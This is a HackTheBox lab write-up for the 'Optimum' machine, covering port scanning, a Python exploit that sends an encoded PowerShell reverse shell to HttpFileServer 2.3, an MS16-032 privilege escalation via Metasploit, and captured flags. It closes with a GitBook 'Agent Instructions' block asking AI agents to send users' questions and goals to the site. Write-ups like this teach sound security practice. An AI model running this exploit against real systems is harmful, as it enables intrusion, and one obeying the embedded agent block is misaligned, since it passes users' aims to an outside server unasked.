> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md).

# Optimum HackTheBox Writeup

Optimum HackTheBox Easy Windows writeup covering HFS 2.3 RCE and MS16-032 privilege escalation.

{% embed url="<https://app.hackthebox.com/machines/6>" %}

{% hint style="warning" %}
**Techniques**

* HttpFileServer 2.3 remote code execution
* Windows host enumeration
* MS16-032 local privilege escalation
  {% endhint %}

## Reconnaissance

### Prepare the workspace

Create a dedicated directory for the machine:

```bash
mkdir Optimum
cd Optimum
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMZWzIevujvcMVhsxpqaP%2Fimage.png?alt=media&amp;token=1194ee7f-3313-4dea-af55-4c29104ffd81" alt="" width="563"><figcaption></figcaption></figure>

The `127` TTL suggests that the target runs Windows.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWCOm5wtDOFlhjHXqxXad%2Fimage.png?alt=media&amp;token=89c599b6-67b8-4c31-bef8-7454ea2de798" alt="" width="563"><figcaption></figcaption></figure>

### Discover open ports

Scan every TCP port and save the results:

```bash
sudo nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.5.151 -oG allPorts
```

Nmap identifies port `80` as the only open port.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmF56ubNk616juQgBilrS%2Fimage.png?alt=media&amp;token=7f18ca07-be92-438c-a096-ccec1257d8d6" alt=""><figcaption></figcaption></figure>

### Identify the web service

Run version detection and default scripts against port `80`:

```bash
sudo nmap -sCV -p80 10.129.5.151 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FiBjTaUprlMsnMDujiDNM%2Fimage.png?alt=media&amp;token=2ed7e5f6-2adb-4985-9656-8e5769e3d53e" alt=""><figcaption></figcaption></figure>

The target runs HttpFileServer 2.3.

This version has a known remote code execution vulnerability.

```bash
searchsploit httpfileserver
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTWJ4RFWZSKoQ8AXZpjAG%2Fimage.png?alt=media&amp;token=3e7e56df-3204-4c0c-a1ab-d2a1c59bf6d4" alt=""><figcaption></figcaption></figure>

### Exploit HFS 2.3

Use the following Python script to send an encoded PowerShell reverse shell. Update the listener and target values first:

```bash
import requests
import urllib
import base64

lhost = '10.10.15.2' # Change this
lport = '1234'        # Change this
rhost = '10.129.5.151' # Change this
rport = '80'        # Change this

command = '$client = New-Object System.Net.Sockets.TCPClient("' + lhost + '",' + lport + ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

command_bytes = command.encode('utf-16le')
base64_bytes = base64.b64encode(command_bytes)
encodedcommand = base64_bytes.decode('ascii')

payload = 'exec|powershell.exe -ep bypass -encodedcommand ' + encodedcommand 

encodedpayload = urllib.parse.quote_plus(payload)

url = 'http://' + rhost + ':' + rport + '/?search=%00{.' + encodedpayload + '.}'

r = requests.get(url)

if r.status_code == 200:
    print('GET Request Sent')
else:
    print('Failed to Send Request')
```

Start a listener before running the script:

```bash
rlwrap nc -nvlp 1234
```

Run the exploit from your local machine:

```bash
python3 rce.py
```

The target connects back with a PowerShell reverse shell.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FManKccjsbMg27N5TyiV8%2Fimage.png?alt=media&amp;token=3246937e-a015-435d-b3bd-6e02fa807c78" alt=""><figcaption></figcaption></figure>

### Capture the user flag

{% code overflow="wrap" %}

```bash
type C:\Users\kostas\Desktop\user.txt
```

{% endcode %}

* f2f8d68c549c18e1b94d2c99207e3022

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FaznSW5c7XYrJGXX3dr4F%2Fimage.png?alt=media&amp;token=314e87c0-c3f7-49e4-bd5e-afe01cd5a9f3" alt=""><figcaption></figcaption></figure>

## Privilege escalation

### Identify the escalation path

Inspect the target operating system:

{% code overflow="wrap" %}

```bash
systeminfo
```

{% endcode %}

The target runs Windows Server 2012 R2.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FXzsASDHc6dMwDCsL2dh5%2Fimage.png?alt=media&amp;token=0c9c3f14-2810-4c7b-8120-8d79a83e7253" alt=""><figcaption></figcaption></figure>

The host is vulnerable to the MS16-032 x64 kernel escalation.

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

Download the exploit repository and locate the compiled payload:

{% code overflow="wrap" %}

```bash
windows-kernel-exploits/MS16-032/x64/ms16-032.exe
```

{% endcode %}

### Transfer the exploit

Start an SMB server in the directory containing the exploit:

{% code overflow="wrap" %}

```bash
sudo /home/jordan/.local/bin/smbserver.py share $(pwd) -smb2support
```

{% endcode %}

Copy the executable to the target:

```bash
copy \\10.10.15.2\share\ms16-032.exe .
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfeBCQ8ZtdyEHC5sYWhdn%2Fimage.png?alt=media&amp;token=8a362574-6e4d-4aca-84fd-feabd39dc2c3" alt=""><figcaption></figcaption></figure>

```bash
copy \\10.10.15.2\share\MS16-032.ps1 .
```

The PowerShell payload is unavailable on this host.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FgsrBlC6gtRl5msvHVgLH%2Fimage.png?alt=media&amp;token=6196ea8e-274e-4efe-8c4d-b067a8976fae" alt=""><figcaption></figcaption></figure>

### Exploit MS16-032 with Metasploit

Use Metasploit as an alternative:

{% code overflow="wrap" %}

```bash
search ms16-032
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FPnk5Ze4RC9qPGILDRZLW%2Fimage.png?alt=media&amp;token=4b822b75-d5aa-40b8-947f-a7d6c27a3358" alt=""><figcaption></figcaption></figure>

Select the MS16-032 module and run it against the active session:

{% code overflow="wrap" %}

```bash
use 0 

set SESSION 2

run

getuid
```

{% endcode %}

The session now runs as `NT AUTHORITY\SYSTEM`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FAalaLilqBYjwo81aytHU%2Fimage.png?alt=media&amp;token=1354b0f2-bc3c-4ee7-9980-936ad7dfcd91" alt=""><figcaption></figcaption></figure>

### Capture the root flag

{% code overflow="wrap" %}

```bash
type C:\Users\Administrator\Desktop\root.txt
```

{% endcode %}

* 0d795fff7eac20e753543b412dfa5c34

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCqQFVgTjPVbu2gsFb5jL%2Fimage.png?alt=media&amp;token=45f6584b-1f79-4c92-9af1-707740739c16" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fi3ASkNBpWpPr6dILVCeQ%2Fimage.png?alt=media&amp;token=585831c3-0aad-49dc-b418-271338292956" alt="" width="361"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
